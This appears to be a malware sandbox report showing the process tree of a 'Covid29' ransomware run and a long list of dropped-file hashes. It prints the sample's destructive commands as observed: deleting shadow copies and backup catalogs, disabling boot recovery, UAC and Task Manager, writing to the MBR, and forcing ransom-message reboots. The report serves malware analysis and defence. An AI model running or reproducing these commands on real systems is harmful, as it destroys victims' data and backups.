                                                                                      reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoControlPanel" /t REG_DWORD /d "1" /f
                                                                                      4⤵
                                                                                        PID:4700
                                                                                      • C:\Windows\SysWOW64\net.exe
                                                                                        net user Admin /fullname:"IT'S TOO LATE!!!"
                                                                                        4⤵
                                                                                          PID:3928
                                                                                          • C:\Windows\SysWOW64\net1.exe
                                                                                            C:\Windows\system32\net1 user Admin /fullname:"IT'S TOO LATE!!!"
                                                                                            5⤵
                                                                                              PID:4072
                                                                                          • C:\Windows\SysWOW64\timeout.exe
                                                                                            timeout 8 /nobreak
                                                                                            4⤵
                                                                                            • Delays execution with timeout.exe
                                                                                            PID:5804
                                                                                          • C:\Windows\SysWOW64\shutdown.exe
                                                                                            shutdown /r /t 5 /c "I CATCH YOU AND EAT YOUR FACE!!!"
                                                                                            4⤵
                                                                                              PID:3176
                                                                                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_collections.mojom.CollectionsDataManager --field-trial-handle=2148,1936709834566088623,2977675678569896880,131072 --lang=en-US --service-sandbox-type=collections --mojo-platform-channel-handle=1940 /prefetch:8
                                                                                          2⤵
                                                                                            PID:5488
                                                                                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2148,1936709834566088623,2977675678569896880,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=32 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6016 /prefetch:1
                                                                                            2⤵
                                                                                              PID:2852
                                                                                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=2148,1936709834566088623,2977675678569896880,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6108 /prefetch:8
                                                                                              2⤵
                                                                                              • Suspicious behavior: EnumeratesProcesses
                                                                                              PID:1544
                                                                                          • C:\Windows\System32\CompPkgSrv.exe
                                                                                            C:\Windows\System32\CompPkgSrv.exe -Embedding
                                                                                            1⤵
                                                                                              PID:880
                                                                                            • C:\Windows\System32\CompPkgSrv.exe
                                                                                              C:\Windows\System32\CompPkgSrv.exe -Embedding
                                                                                              1⤵
                                                                                                PID:4572
                                                                                              • C:\Windows\System32\rundll32.exe
                                                                                                C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
                                                                                                1⤵
                                                                                                  PID:3376
                                                                                                • C:\Users\Admin\AppData\Local\Temp\Temp1_Covid29 Ransomware.zip\TrojanRansomCovid29.exe
                                                                                                  "C:\Users\Admin\AppData\Local\Temp\Temp1_Covid29 Ransomware.zip\TrojanRansomCovid29.exe"
                                                                                                  1⤵
                                                                                                    PID:2440
                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\2315.tmp\TrojanRansomCovid29.bat" "
                                                                                                      2⤵
                                                                                                      • Checks computer location settings
                                                                                                      • Modifies registry class
                                                                                                      PID:3844
                                                                                                      • C:\Windows\SysWOW64\WScript.exe
                                                                                                        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\2315.tmp\fakeerror.vbs"
                                                                                                        3⤵
                                                                                                          PID:4100
                                                                                                        • C:\Windows\SysWOW64\PING.EXE
                                                                                                          ping localhost -n 2
                                                                                                          3⤵
                                                                                                          • Runs ping.exe
                                                                                                          PID:3644
                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                          reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
                                                                                                          3⤵
                                                                                                          • Modifies registry key
                                                                                                          PID:2684
                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                          reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System /v HideFastUserSwitching /t REG_DWORD /d 1 /f
                                                                                                          3⤵
                                                                                                          • Modifies registry key
                                                                                                          PID:4576
                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                          reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableChangePassword /t REG_DWORD /d 1 /f
                                                                                                          3⤵
                                                                                                          • Modifies registry key
                                                                                                          PID:2212
                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                          reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableLockWorkstation /t REG_DWORD /d 1 /f
                                                                                                          3⤵
                                                                                                          • Modifies registry key
                                                                                                          PID:3392
                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                          reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoLogoff /t REG_DWORD /d 1 /f
                                                                                                          3⤵
                                                                                                          • Modifies registry key
                                                                                                          PID:3896
                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                          reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v ConsentPromptBehaviorAdmin /t REG_DWORD /d 0 /f
                                                                                                          3⤵
                                                                                                          • UAC bypass
                                                                                                          • Modifies registry key
                                                                                                          PID:4596
                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                          reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
                                                                                                          3⤵
                                                                                                          • UAC bypass
                                                                                                          • Modifies registry key
                                                                                                          PID:1400
                                                                                                        • C:\Users\Admin\AppData\Local\Temp\2315.tmp\mbr.exe
                                                                                                          mbr.exe
                                                                                                          3⤵
                                                                                                          • Executes dropped EXE
                                                                                                          • Writes to the Master Boot Record (MBR)
                                                                                                          PID:4668
                                                                                                        • C:\Users\Admin\AppData\Local\Temp\2315.tmp\Cov29Cry.exe
                                                                                                          Cov29Cry.exe
                                                                                                          3⤵
                                                                                                          • Checks computer location settings
                                                                                                          • Executes dropped EXE
                                                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                                                          PID:228
                                                                                                          • C:\Users\Admin\AppData\Roaming\svchost.exe
                                                                                                            "C:\Users\Admin\AppData\Roaming\svchost.exe"
                                                                                                            4⤵
                                                                                                            • Checks computer location settings
                                                                                                            • Drops startup file
                                                                                                            • Executes dropped EXE
                                                                                                            • Drops desktop.ini file(s)
                                                                                                            • Sets desktop wallpaper using registry
                                                                                                            • Modifies registry class
                                                                                                            • Suspicious behavior: AddClipboardFormatListener
                                                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                                                            PID:2212
                                                                                                            • C:\Windows\System32\cmd.exe
                                                                                                              "C:\Windows\System32\cmd.exe" /C vssadmin delete shadows /all /quiet & wmic shadowcopy delete
                                                                                                              5⤵
                                                                                                                PID:1308
                                                                                                                • C:\Windows\system32\vssadmin.exe
                                                                                                                  vssadmin delete shadows /all /quiet
                                                                                                                  6⤵
                                                                                                                  • Interacts with shadow copies
                                                                                                                  PID:3392
                                                                                                                • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                  wmic shadowcopy delete
                                                                                                                  6⤵
                                                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                                                  PID:184
                                                                                                              • C:\Windows\System32\cmd.exe
                                                                                                                "C:\Windows\System32\cmd.exe" /C bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no
                                                                                                                5⤵
                                                                                                                  PID:4632
                                                                                                                  • C:\Windows\system32\bcdedit.exe
                                                                                                                    bcdedit /set {default} bootstatuspolicy ignoreallfailures
                                                                                                                    6⤵
                                                                                                                    • Modifies boot configuration data using bcdedit
                                                                                                                    PID:5008
                                                                                                                  • C:\Windows\system32\bcdedit.exe
                                                                                                                    bcdedit /set {default} recoveryenabled no
                                                                                                                    6⤵
                                                                                                                    • Modifies boot configuration data using bcdedit
                                                                                                                    PID:2328
                                                                                                                • C:\Windows\System32\cmd.exe
                                                                                                                  "C:\Windows\System32\cmd.exe" /C wbadmin delete catalog -quiet
                                                                                                                  5⤵
                                                                                                                    PID:2872
                                                                                                                    • C:\Windows\system32\wbadmin.exe
                                                                                                                      wbadmin delete catalog -quiet
                                                                                                                      6⤵
                                                                                                                      • Deletes backup catalog
                                                                                                                      PID:3392
                                                                                                                  • C:\Windows\system32\NOTEPAD.EXE
                                                                                                                    "C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\AppData\Roaming\covid29-is-here.txt
                                                                                                                    5⤵
                                                                                                                      PID:1256
                                                                                                                • C:\Windows\SysWOW64\shutdown.exe
                                                                                                                  shutdown /r /t 300 /c "5 minutes to pay until you lose your data and system forever"
                                                                                                                  3⤵
                                                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                                                  PID:2752
                                                                                                                • C:\Windows\SysWOW64\PING.EXE
                                                                                                                  ping localhost -n 9
                                                                                                                  3⤵
                                                                                                                  • Runs ping.exe
                                                                                                                  PID:1960
                                                                                                                • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                  taskkill /f /im explorer.exe
                                                                                                                  3⤵
                                                                                                                  • Kills process with taskkill
                                                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                                                  PID:300
                                                                                                                • C:\Users\Admin\AppData\Local\Temp\2315.tmp\Cov29LockScreen.exe
                                                                                                                  Cov29LockScreen.exe
                                                                                                                  3⤵
                                                                                                                  • Executes dropped EXE
                                                                                                                  • Suspicious use of SetWindowsHookEx
                                                                                                                  PID:5200
                                                                                                            • C:\Windows\system32\vssvc.exe
                                                                                                              C:\Windows\system32\vssvc.exe
                                                                                                              1⤵
                                                                                                              • Suspicious use of AdjustPrivilegeToken
                                                                                                              PID:3500
                                                                                                            • C:\Windows\system32\wbengine.exe
                                                                                                              "C:\Windows\system32\wbengine.exe"
                                                                                                              1⤵
                                                                                                              • Suspicious use of AdjustPrivilegeToken
                                                                                                              PID:928
                                                                                                            • C:\Windows\System32\vdsldr.exe
                                                                                                              C:\Windows\System32\vdsldr.exe -Embedding
                                                                                                              1⤵
                                                                                                                PID:3928
                                                                                                              • C:\Windows\System32\vds.exe
                                                                                                                C:\Windows\System32\vds.exe
                                                                                                                1⤵
                                                                                                                • Checks SCSI registry key(s)
                                                                                                                PID:4132
                                                                                                              • C:\Windows\system32\AUDIODG.EXE
                                                                                                                C:\Windows\system32\AUDIODG.EXE 0x2f8 0x2fc
                                                                                                                1⤵
                                                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                                                PID:1456
                                                                                                              • C:\Windows\System32\rundll32.exe
                                                                                                                C:\Windows\System32\rundll32.exe shell32.dll,SHCreateLocalServerRunDll {9BA05972-F6A8-11CF-A442-00A0C90A8F39} -Embedding
                                                                                                                1⤵
                                                                                                                  PID:4644
                                                                                                                • C:\Windows\explorer.exe
                                                                                                                  C:\Windows\explorer.exe /factory,{682159d9-c321-47ca-b3f1-30e36b2ec8b9} -Embedding
                                                                                                                  1⤵
                                                                                                                  • Modifies Internet Explorer settings
                                                                                                                  • Modifies registry class
                                                                                                                  • Suspicious behavior: AddClipboardFormatListener
                                                                                                                  • Suspicious behavior: GetForegroundWindowSpam
                                                                                                                  • Suspicious use of SetWindowsHookEx
                                                                                                                  PID:2364
                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\Temp1_MS 0735.6+7421.zip\MS 0735.6+7421.exe
                                                                                                                    "C:\Users\Admin\AppData\Local\Temp\Temp1_MS 0735.6+7421.zip\MS 0735.6+7421.exe"
                                                                                                                    2⤵
                                                                                                                    • Executes dropped EXE
                                                                                                                    • Suspicious use of SetWindowsHookEx
                                                                                                                    PID:5556
                                                                                                                • C:\Windows\System32\rundll32.exe
                                                                                                                  C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {3eef301f-b596-4c0b-bd92-013beafce793} -Embedding
                                                                                                                  1⤵
                                                                                                                    PID:5932
                                                                                                                  • C:\Windows\System32\rundll32.exe
                                                                                                                    C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
                                                                                                                    1⤵
                                                                                                                    • Modifies registry class
                                                                                                                    PID:5392
                                                                                                                  • C:\Windows\system32\LogonUI.exe
                                                                                                                    "LogonUI.exe" /flags:0x4 /state0:0xa38f5855 /state1:0x41c64e6d
                                                                                                                    1⤵
                                                                                                                    • Modifies data under HKEY_USERS
                                                                                                                    • Suspicious use of SetWindowsHookEx
                                                                                                                    PID:3200

                                                                                                                  Network

                                                                                                                        MITRE ATT&CK Enterprise v15

                                                                                                                        Replay Monitor

                                                                                                                        Loading Replay Monitor...

                                                                                                                        Downloads

                                                                                                                        • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\53c84e27-0f1f-4547-ac5a-6c6846b0b2a1.tmp

                                                                                                                          Filesize

                                                                                                                          12KB

                                                                                                                          MD5

                                                                                                                          29d605fbd0ce3a33e4c6591d1e0b9fe0

                                                                                                                          SHA1

                                                                                                                          766155a44e6d460360c0e35916e4e93646509e23

                                                                                                                          SHA256

                                                                                                                          e683001998ca7186cd5c55615cee9cdc57733df7fcf7abebfdb6d2df30277528

                                                                                                                          SHA512

                                                                                                                          586b88bf0e1e488f0a6c00cf38c748eb985dd16db64a1d0d4f6d20706ed3d96075afe35a706071e904a3386d3c774db95aac0cd706249ee5cf9dc72eab213d9d

                                                                                                                        • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

                                                                                                                          Filesize

                                                                                                                          152B

                                                                                                                          MD5

                                                                                                                          4aab618ef3d86f2fbf808c4ac50ab083

                                                                                                                          SHA1

                                                                                                                          3f794d5499a16d7048809b46589984a065164ed0

                                                                                                                          SHA256

                                                                                                                          4971c4c535809b9ffe1b1d9b22e7d9ade38d51a4406def14c54708a87c2e4dc2

                                                                                                                          SHA512

                                                                                                                          21adbdb317cb85cbcb370003a09fa6f75fd8ba65b4453d33f6f3abd6449c9c0ce97a9480fd5c058885a264364b2c00e7979a7bd285b76b296c56f85e207babeb

                                                                                                                        • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\06f156ce-12ac-4051-bbc5-05a5c572c5e8.tmp

                                                                                                                          Filesize

                                                                                                                          111B

                                                                                                                          MD5

                                                                                                                          285252a2f6327d41eab203dc2f402c67

                                                                                                                          SHA1

                                                                                                                          acedb7ba5fbc3ce914a8bf386a6f72ca7baa33c6

                                                                                                                          SHA256

                                                                                                                          5dfc321417fc31359f23320ea68014ebfd793c5bbed55f77dab4180bbd4a2026

                                                                                                                          SHA512

                                                                                                                          11ce7cb484fee66894e63c31db0d6b7ef66ad0327d4e7e2eb85f3bcc2e836a3a522c68d681e84542e471e54f765e091efe1ee4065641b0299b15613eb32dcc0d

                                                                                                                        • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_000004

                                                                                                                          Filesize

                                                                                                                          40KB

                                                                                                                          MD5

                                                                                                                          d574939016c1b0511053c934958d9a25

                                                                                                                          SHA1

                                                                                                                          1ebb35cd6af10fce71dcd4778c9bbcd9822ef999

                                                                                                                          SHA256

                                                                                                                          ad0ad0fb63aff674e004faa8c826d6523a79532133fc07eb9a2ee5a1d367ec66

                                                                                                                          SHA512

                                                                                                                          48758079cd42e05da63126f5119d15a4f79520095d062b67490b637df8fc12d567eaa2ec9c083d747093fbefedc651fbb3a2bc4f2fbbab9b5a09379626a40ceb

                                                                                                                        • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_00000c

                                                                                                                          Filesize

                                                                                                                          354KB

                                                                                                                          MD5

                                                                                                                          cc5f6921b7e2d3c1ae0da911886291b2

                                                                                                                          SHA1

                                                                                                                          372dd6699f897f862c20b31452d6d73c927a253c

                                                                                                                          SHA256

                                                                                                                          fe9cd27dba601b9236f44337b0cb45a29e22f8b0e46a1e90e4a586ff2c014da3

                                                                                                                          SHA512

                                                                                                                          1577211e82a11fa304ecf0b853de1045f2d08a61806caae53385fe8ec1fe95804b3034770bfc5cb7b790ab893678550978d663c8b12c2d12a3247e80005731d0

                                                                                                                        • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_00000d

                                                                                                                          Filesize

                                                                                                                          71KB

                                                                                                                          MD5

                                                                                                                          035ef6eaf7accadce25b54de51a58b43

                                                                                                                          SHA1

                                                                                                                          6622e6858ee1349437d58c29fe821390c27cef41

                                                                                                                          SHA256

                                                                                                                          c29fd8d1af7a65a8ee253f331922fe84445b275926596fcefd3d2fcc02bf842a

                                                                                                                          SHA512

                                                                                                                          d6a21d79e3f10a9c4ad0b1d0294922a90a8485170e514129b71eb0c287925d6a80b8c4d5e246faaf86964ffe4841aee78a8fb7a3b6c5d4f6fb0a82a73dfb69ef

                                                                                                                        • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index

                                                                                                                          Filesize

                                                                                                                          2KB

                                                                                                                          MD5

                                                                                                                          fd808a590eafc835519229ab93afd7e1

                                                                                                                          SHA1

                                                                                                                          27f7d631a4ff4e45872149b6cc4e6f95556e11d2

                                                                                                                          SHA256

                                                                                                                          b28c67b074ea2067746354d4729edf04f2bde425d0abe71f554dd110bc7eb27f

                                                                                                                          SHA512

                                                                                                                          109c440612c7b915ec706f4413dad7ec8d5f490d7fa244482347754e2e4181ce6bfe097711bd587ef207fb1f19e610b7339fd6d7f6321b6be892c3ee30e6020e

                                                                                                                        • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index

                                                                                                                          Filesize

                                                                                                                          672B

                                                                                                                          MD5

                                                                                                                          0b9384c39165fcada192add60e7f6a65

                                                                                                                          SHA1

                                                                                                                          d742f3544c05a9e84a03900c705f1a5f033ae703

                                                                                                                          SHA256

                                                                                                                          6428ba8fbf5a690690f1dd5c56182a9f3575b4feac31a2689f06218f8cdf3f55

                                                                                                                          SHA512

                                                                                                                          82700b308e21ab4e69723fb5245918384f1248a81a558e6060e83806d7c4f7fae5c28fe57d0615d3e8cb8f478fa2dec76d07950d229d5f469bf38ce2f2621e1a

                                                                                                                        • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index

                                                                                                                          Filesize

                                                                                                                          2KB

                                                                                                                          MD5

                                                                                                                          39197eb84e52d0d34617b4b79e3cb2b5

                                                                                                                          SHA1

                                                                                                                          417e21548454de6e34823f22d45c5d3398a7e87b

                                                                                                                          SHA256

                                                                                                                          9cc71549037c98aa16fd271a957d90eb987598632b965a5bf2868bfdf0f82b0d

                                                                                                                          SHA512

                                                                                                                          3dc74e8cefcf6f676e1899a1d1e14f632d49325882b810300c392313f8eb8f70d3c9b9902f1416a612ab2e7f7f487f3b65ab3362cb84b2c8334a950570062023

                                                                                                                        • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State

                                                                                                                          Filesize

                                                                                                                          2KB

                                                                                                                          MD5

                                                                                                                          e7c317ead1d577db63fc3187ade53536

                                                                                                                          SHA1

                                                                                                                          b87e9f43382e630fe531ef2840a3aefc2c6c0ba6

                                                                                                                          SHA256

                                                                                                                          10bcc99c64ca293aa9655002178cd284c0188a9f19bafeeb86b063cf8f9a9d99

                                                                                                                          SHA512

                                                                                                                          b5149d473ef11450a7eb8facff7a8d6bddec4951cae42f5f9eb25f50cdc4817b8e847c5012b019d3eaa11209ed4ff70fe4cad5f4f57bdfe0b12680cf2ca2e78e

                                                                                                                        • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State

                                                                                                                          Filesize

                                                                                                                          2KB

                                                                                                                          MD5

                                                                                                                          f70d947de1d4410e85b90dfdf42d0c07

                                                                                                                          SHA1

                                                                                                                          3bbd2fb710fb0491277044d87e647c5814c6728a

                                                                                                                          SHA256

                                                                                                                          0de0ba0af4df0da804d7ddebfbbcce8ae0a68f11fb9d0f9858edf05aadb60f98

                                                                                                                          SHA512

                                                                                                                          9ebbd15487a14444a9171b23f8e48b3f66db273c49044a2fd9be2ca3d523084b3f5157bba76d124bcd31ad9e460f6dbd8e776199caef20bcee21de4a68abb2d5

                                                                                                                        • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

                                                                                                                          Filesize

                                                                                                                          6KB

                                                                                                                          MD5

                                                                                                                          004f854b609d83509eddc1a91366e026

                                                                                                                          SHA1

                                                                                                                          a2e3ac83bf65cd29669140eaa3334a81110d77ae

                                                                                                                          SHA256

                                                                                                                          5ed82f6a2f7337f88652dd99c52e21e9d67c5da96456550d145ec31c9ae26110

                                                                                                                          SHA512

                                                                                                                          89b733ff9485f4b0144419f331bf6f6b927f7d3981abea7aa3a6e0a4eb93e2e2e37d8e833df0fecea16dd356e048f02f13f83dda8c5cf6a1055c97ad88abb1f9

                                                                                                                        • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

                                                                                                                          Filesize

                                                                                                                          6KB

                                                                                                                          MD5

                                                                                                                          e3c88410a8bc9a1189cfc18a352fc521

                                                                                                                          SHA1

                                                                                                                          a9404398052906745b79c3b666639e66d486eefb

                                                                                                                          SHA256

                                                                                                                          623926fae926d528ea6d173a5f9dcd4fadd3dccabdea5d0e9f782771c511e06c

                                                                                                                          SHA512

                                                                                                                          c1b549c6a3dd4b7902e6936fdff85ea2cc02215c0b38d2a3cbb103b1aa2efe8b6b2074d7a1c247b495161073178e72e48fa620f3b88b302d0fe5d6ae67f4e740

                                                                                                                        • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

                                                                                                                          Filesize

                                                                                                                          6KB

                                                                                                                          MD5

                                                                                                                          b8d8ab852084c703039b2d81f76b1732

                                                                                                                          SHA1

                                                                                                                          1c04d070d8f9a0886418fe6bc5fd722f1dbe6170

                                                                                                                          SHA256

                                                                                                                          c81ff20a3f927bd69d77530faf0adaf1c3a224bc0efa84fb86cfe9c2fb22b22c

                                                                                                                          SHA512

                                                                                                                          eb9a10fc9b4dafa63e0174c92e30d32869fde0fef5f9598aef603681c01866c26406746300fc7181789f9a5f9bc572770ef4f4b9d263bf74cfd629c4c2b479fd

                                                                                                                        • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

                                                                                                                          Filesize

                                                                                                                          5KB

                                                                                                                          MD5

                                                                                                                          8c7e49ac9fe8830787a3f8e642b1c85a

                                                                                                                          SHA1

                                                                                                                          93c4941cec8ead8330fed3b54dc7f8999e45a9be

                                                                                                                          SHA256

                                                                                                                          1aa8155b8a8eb52f73621c05a90a9488f130866365e5d72b0b6f4f7e97721629

                                                                                                                          SHA512

                                                                                                                          c30d371594ef628e59846db1e66f331454d2720848144c14f88614adec7d963724c5cc4346c6e413ec6b74984bed2f6cff62fab2e0261d195fd999fd197fd41f

                                                                                                                        • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

                                                                                                                          Filesize

                                                                                                                          6KB

                                                                                                                          MD5

                                                                                                                          a5a8c677ce981e93844f0e7b682a1ab6

                                                                                                                          SHA1

                                                                                                                          6feca55535be8d7a4a8be280f0b96269ca61afbd

                                                                                                                          SHA256

                                                                                                                          2e3d1e2c97c572a2387e11dfa9a293eca22d3ecab72f27ff2d869f22d86029e5

                                                                                                                          SHA512

                                                                                                                          0dd14c10ec04ab0e14565917eeddcb021aa034a16ea53a501104e181bf7d4a2b091270b952d52adabf3960da9d4fcc1851c5da449c2c969c5aa2d33e746453f0

                                                                                                                        • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

                                                                                                                          Filesize

                                                                                                                          6KB

                                                                                                                          MD5

                                                                                                                          6bb34f03c35aa4eee639d6a0f0bc4cdf

                                                                                                                          SHA1

                                                                                                                          48eff5536bbbd4691ad48dfd381cb3ba33958019

                                                                                                                          SHA256

                                                                                                                          2fbca236bcd76029fdd3db7d164855f574d78c5e34a72ac123ceac476faf63dc

                                                                                                                          SHA512

                                                                                                                          2d8a75858d7cb2f33721c5ef6fbfaa5b7ced04b1f683f37d135626670b6fa57e3907d88a86f619e390dad3a94526d28bef95ed78dc98b704eeeceb14e783840e

                                                                                                                        • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

                                                                                                                          Filesize

                                                                                                                          6KB

                                                                                                                          MD5

                                                                                                                          02863f5f3a996e5ca812f3064affdf72

                                                                                                                          SHA1

                                                                                                                          7601f1b2accf68fac44ba62c7c4dc7665034c46e

                                                                                                                          SHA256

                                                                                                                          50052329928277e0fd44c6b8cd8b081466540eec4131eb2c82923baa36ac310d

                                                                                                                          SHA512

                                                                                                                          25dce01429a8ea1b4e673596c0e2a29d29b9a1b051857f23ba4e16f7a3ceb035ec854cab98115ce02542c26680f2c69bd45f748abe544d9a1151807d87b242bc

                                                                                                                        • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences

                                                                                                                          Filesize

                                                                                                                          24KB

                                                                                                                          MD5

                                                                                                                          7caf65193db27a3b881dfb25b62ce529

                                                                                                                          SHA1

                                                                                                                          304e35e18f36b79acae60f4a426f0ab861a651b5

                                                                                                                          SHA256

                                                                                                                          eaa4cdd8c166fc998235daec7bdc3fc2a9ef1e2207be2f4eabb8fbb564ead890

                                                                                                                          SHA512

                                                                                                                          96231ea6ea8f879e0d2f48fd7bca3480ef78df283d135a1f631faf701215c4d9477b1a8eb59a24b8f08d060b71e250e04deaf49ea08758993b77199a6bc5cd69

                                                                                                                        • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

                                                                                                                          Filesize

                                                                                                                          372B

                                                                                                                          MD5

                                                                                                                          0e313b24e6e339121717c4821ccf621d

                                                                                                                          SHA1

                                                                                                                          b146f0c47340700358fbc74ad89c37e4e2821cf7

                                                                                                                          SHA256

                                                                                                                          669295aacff33b8490a66ac59848f23d46269cf5298fbcafc8102454c77a8679

                                                                                                                          SHA512

                                                                                                                          f5c2a2fac14637fe123873888a779a0d7fb383b44cf4862e801cb1facdf329b9f4b231ecc35e34fd1f9b8911adfcd3ba24ed51a0a1e7e0aeca71924b723e6baf

                                                                                                                        • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

                                                                                                                          Filesize

                                                                                                                          1KB

                                                                                                                          MD5

                                                                                                                          84156f9d8b6b478787630afdf802c70a

                                                                                                                          SHA1

                                                                                                                          1dadcf1ae8da038feb98c1f28f3150509ae04f7d

                                                                                                                          SHA256

                                                                                                                          e398160f5d2b091b4da17dc3cab49ccd3c1b4cf9c535dbb3c6bfbaa4c75e62b3

                                                                                                                          SHA512

                                                                                                                          9535eff069beedde8c39f67716970a14822945ece285f248257254cfd3dba4d383ace37766144d29d4ad633a20ecc1a4c0b39e05b288fe7707ca9d3e11a6f136

                                                                                                                        • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

                                                                                                                          Filesize

                                                                                                                          1KB

                                                                                                                          MD5

                                                                                                                          3c3918d5118ea6d0367f78b0d3ad2e42

                                                                                                                          SHA1

                                                                                                                          789a74dfe3b7b5388da591ffb748fdcaad44bede

                                                                                                                          SHA256

                                                                                                                          c3e096e1577099d2eb4652303d9285811de4701f311485ffd5731522f611f07e

                                                                                                                          SHA512

                                                                                                                          27e87f5f002a25a1f19c10ec3ce7c53a4960fbc83217ecb9a389dabc6c3176445a7d2166bd4620f97528a10136083f0696e8380f13b6f13765fd296e20b3bffc

                                                                                                                        • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

                                                                                                                          Filesize

                                                                                                                          1KB

                                                                                                                          MD5

                                                                                                                          f434b4b846dcc34633cfde9af564377d

                                                                                                                          SHA1

                                                                                                                          156c43c629e10361334d874211f5eeaa43b48d89

                                                                                                                          SHA256

                                                                                                                          99ffabdced11c9cc2d7dd259230f4530267e0b59a762e56d134844700e13bbbf

                                                                                                                          SHA512

                                                                                                                          27bc65e062ee803bdb78389a0c94fdfe34440a1960e204cf86ed9286929245f9004330f48b8b4eb7dd6c1ed45abb21f0fc7f39cd70961635cc4d866b89d7f1cc

                                                                                                                        • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

                                                                                                                          Filesize

                                                                                                                          1KB

                                                                                                                          MD5

                                                                                                                          5d78edc5afb364a4090a2fdd48599064

                                                                                                                          SHA1

                                                                                                                          95107172fed1b2f583def8f5ca2f37ed47e48731

                                                                                                                          SHA256

                                                                                                                          7f57c121682ffbfca884506a7c8ee313fb13f69a9c7c7c0c7fc76dc087ea42e2

                                                                                                                          SHA512

                                                                                                                          bd290c30f4284150978d461bce6527993a258ab9180ff9eeddec5012e30a3a447b975af491e4c6ac9f7cef30a670e7fe87b22b081d5d505c471abbb092ac0984

                                                                                                                        • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

                                                                                                                          Filesize

                                                                                                                          1KB

                                                                                                                          MD5

                                                                                                                          668ae2b8e13fbe77680938da5b8e5b48

                                                                                                                          SHA1

                                                                                                                          67edd8959f50774c6c478567d6159615066571d7

                                                                                                                          SHA256

